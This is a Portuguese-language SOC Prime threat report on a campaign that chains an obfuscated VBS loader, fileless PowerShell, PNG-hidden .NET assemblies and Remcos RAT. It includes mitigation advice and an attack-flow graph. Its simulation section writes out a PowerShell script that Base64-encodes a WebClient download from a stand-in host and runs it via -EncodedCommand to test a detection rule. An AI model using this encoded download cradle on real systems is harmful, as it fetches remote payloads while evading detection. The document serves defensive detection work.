SOC Prime Bias: Médio

25 Mar 2026 17:26

Rastreando uma Campanha de Malware Multi-Vetor: De VBS para Infraestrutura Aberta

Author Photo
Ruslan Mikhalov Chefe de Pesquisa de Ameaças na SOC Prime linkedin icon Seguir
Rastreando uma Campanha de Malware Multi-Vetor: De VBS para Infraestrutura Aberta
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumo

O relatório abrange uma campanha de malware modular e de múltiplos estágios que começa com um carregador VBS ofuscado em Unicode, faz a transição para um carregador PowerShell sem arquivo e usa arquivos PNG para ocultar um assembly .NET que é executado posteriormente na memória. A partir daí, a campanha pode entregar múltiplos payloads, incluindo Remcos RAT, DLLs de bypass de UAC e ferramentas baseadas em Python. O ator de ameaça hospeda todo o kit de ferramentas em diretórios acessíveis abertamente sob um único domínio .xyz e vários subdomínios com suporte do Cloudflare, permitindo trocas rápidas de payload e múltiplos caminhos de entrega, como PDFs armados e scripts de lote maliciosos.

Investigação

O SOC MDR da LevelBlue detectou o artefato VBS inicial através do SentinelOne, colocou-o em quarentena e decodificou o script para análise. Os investigadores encontraram um comando PowerShell codificado em Base64 que baixava arquivos PNG contendo assemblies .NET embutidos, que então eram carregados diretamente na memória via reflexão. Uma revisão mais ampla da infraestrutura expôs diretórios abertos que serviam não apenas carregadores VBS adicionais, mas também arquivos de lote maliciosos, arquivos ZIP e payloads em Python ligados à mesma campanha.

Mitigação

As defesas recomendadas incluem restringir a execução de tipos de script de alto risco, como .vbs e .bat, de caminhos graváveis pelo usuário, aplicar controles estritos sobre o uso de PowerShell e monitorar o carregamento suspeito de .NET na memória. Defensores também devem bloquear domínios .xyz e inspecionar ou restringir de perto o tráfego WebDAV abusado através de arquivos de Atalho da Internet. No nível da rede, filtrar o acesso à infraestrutura maliciosa conhecida pode ajudar a interromper a campanha mais cedo.

Resposta

Se esta atividade for detectada, isole o endpoint afetado, bloqueie todos os domínios e URLs associados e procure os artefatos relevantes de VBS e PowerShell. Os investigadores devem procurar na memória o assembly .NET refletido e revisar o sistema em busca de tarefas agendadas ou arquivos criados a partir dos diretórios expostos. O conteúdo de detecção deve ser atualizado para identificar a preparação de payloads baseados em PNG e qualquer componente de lote ou Python vinculado à campanha.

"graph TB %% Class definitions classDef action fill:#c2e0ff classDef technique fill:#ffdd99 classDef malware fill:#ff9999 classDef infrastructure fill:#d9ffcc %% Nodes node_vbs_file["<b>Malware</b> – <b>Nome</b>: VBS Malicioso<br/><b>Localização</b>: UsersPublicDownloadsNome_Arquivo.vbs"] class node_vbs_file malware node_t1059_005["<b>Técnica</b> – T1059.005 Interpretador de Comando e Script: Visual Basic<br/><b>Descrição</b>: Executar script VBS para rodar comandos"] class node_t1059_005 technique node_t1027["<b>Técnica</b> – T1027 Arquivos ou Informações Ofuscadas<br/><b>Descrição</b>: Use ofuscação Unicode e Base64"] class node_t1027 technique node_vbs_decode["<b>Ação</b> – Decodificar comando PowerShell Base64"] class node_vbs_decode action node_t1059_001["<b>Técnica</b> – T1059.001 PowerShell<br/><b>Descrição</b>: Executar comandos PowerShell"] class node_t1059_001 technique node_tls12["<b>Ação</b> – Forçar TLS1.2 para conexões de rede"] class node_tls12 action node_download_png["<b>Ação</b> – Baixar payload PNG de URL HTTP"] class node_download_png action node_t1071_001["<b>Técnica</b> – T1071.001 Protocolo de Camada de Aplicação: Protocolos Web<br/><b>Descrição</b>: Use HTTP/HTTPS para transferência"] class node_t1071_001 technique node_t1659["<b>Técnica</b> – T1659 Injeção de Conteúdo<br/><b>Descrição</b>: Injetar conteúdo malicioso em arquivos legítimos"] class node_t1659 technique node_png_extraction["<b>Ação</b> – Extrair assembly .NET Base64 do PNG"] class node_png_extraction action node_t1620["<b>Técnica</b> – T1620 Carregamento de Código Refletivo<br/><b>Descrição</b>: Carregar assembly .NET diretamente na memória"] class node_t1620 technique node_loader["<b>Malware</b> – Carregador .NET PhantomVAI"] class node_loader malware node_fetch_payloads["<b>Ação</b> – Obter URLs de payloads adicionais"] class node_fetch_payloads action node_remcos_rat["<b>Malware</b> – Remcos Troiano de Acesso Remoto"] class node_remcos_rat malware node_uac_bypass["<b>Técnica</b> – T1548.002 Contornar Controle de Conta de Usuário<br/><b>Descrição</b>: Mecanismo de elevação de controle contornado"] class node_uac_bypass technique node_scheduled_task["<b>Técnica</b> – T1053 Tarefa/Trabalho Agendado<br/><b>Descrição</b>: Criar tarefa agendada para persistência"] class node_scheduled_task technique node_secondary_stage["<b>Ação</b> – Implantar scripts de lote e Python"] class node_secondary_stage action node_process_injection["<b>Técnica</b> – T1055 Injeção de Processo<br/><b>Descrição</b>: Injetar payloads em processos em execução"] class node_process_injection technique node_download_further["<b>Ação</b> – Baixar arquivos adicionais de diretórios Cloudflare"] class node_download_further action node_c2_communication["<b>Técnica</b> – T1102.002 Serviço Web: Comunicação Bidirecional<br/><b>Descrição</b>: Tráfego HTTPS C2 usando serviços web"] class node_c2_communication technique node_open_directory["<b>Infraestrutura</b> – Hospedagem em diretório aberto (news4me.xyz, Cloudflare)"] class node_open_directory infrastructure %% Connections node_vbs_file –>|usa| node_t1059_005 node_vbs_file –>|usa| node_t1027 node_vbs_file –>|executa| node_vbs_decode node_vbs_decode –>|executa| node_t1059_001 node_vbs_decode –>|força| node_tls12 node_vbs_decode –>|baixa| node_download_png node_download_png –>|usa| node_t1071_001 node_download_png –>|pode usar| node_t1659 node_download_png –>|contém| node_png_extraction node_png_extraction –>|carrega via| node_t1620 node_t1620 –>|carrega| node_loader node_loader –>|obtém| node_fetch_payloads node_fetch_payloads –>|entrega| node_remcos_rat node_fetch_payloads –>|entrega| node_uac_bypass node_loader –>|cria| node_scheduled_task node_loader –>|gera| node_secondary_stage node_secondary_stage –>|executa| node_process_injection node_secondary_stage –>|baixa| node_download_further node_download_further –>|comunica com| node_c2_communication node_c2_communication –>|hospedado em| node_open_directory "

Fluxo de Ataque

Execução de Simulação

Pré-requisito: O Check de Pré-vôo de Telemetria e Linha de Base deve ter sido aprovado.

Justificativa: Esta seção detalha a execução precisa da técnica do adversário (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e objetivar gerar a telemetria exata esperada pela lógica de detecção.

  • Narrativa do Ataque & Comandos:

    Um adversário obteve uma linha de comando PowerShell que baixa um payload malicioso de um servidor HTTP remoto e o executa. Para evadir a detecção de scripts simples, o comando é codificado em Base64 e executado via powershell.exe -EncodedCommand. A linha de comando, portanto, contém as três strings que a regra procura: powershell, Base64, e Net.WebClient.

    1. O atacante cria o script PowerShell:

      $wc = New-Object System.Net.WebClient;
      $wc.DownloadString('http://malicioso.exemplo/payload');
    2. O script é codificado em UTF‑16LE e Base64.

    3. O atacante executa o comando codificado a partir de um prompt de comando do Windows (ou uma tarefa agendada).

  • Script de Teste de Regressão:

    # --------------------------------------------------------------
    # Script PowerShell para simular o download do Net.WebClient codificado em Base64
    # --------------------------------------------------------------
    
    # 1. Defina a linha de comando PowerShell maliciosa
    $malicious = '$wc = New-Object System.Net.WebClient; $wc.DownloadString(''http://malicioso.exemplo/payload'');'
    
    # 2. Codifique o comando em UTF‑16LE e depois em Base64
    $bytes   = [System.Text.Encoding]::Unicode.GetBytes($malicious)
    $b64     = [Convert]::ToBase64String($bytes)
    
    # 3. Execute o comando codificado – esta linha gera a telemetria
    #    que a regra Sigma está procurando (powershell + Base64 + Net.WebClient)
    powershell.exe -EncodedCommand $b64
  • Comandos de Limpeza:

    # --------------------------------------------------------------
    # Limpeza – termine quaisquer processos PowerShell perdidos iniciados pelo teste
    # --------------------------------------------------------------
    
    Get-Process -Name powershell -ErrorAction SilentlyContinue |
        Where-Object { $_.StartInfo.Arguments -match 'malicioso.exemplo' } |
        Stop-Process -Force
    
    # Remova quaisquer arquivos temporários (nenhum criado neste teste)

Fim do Relatório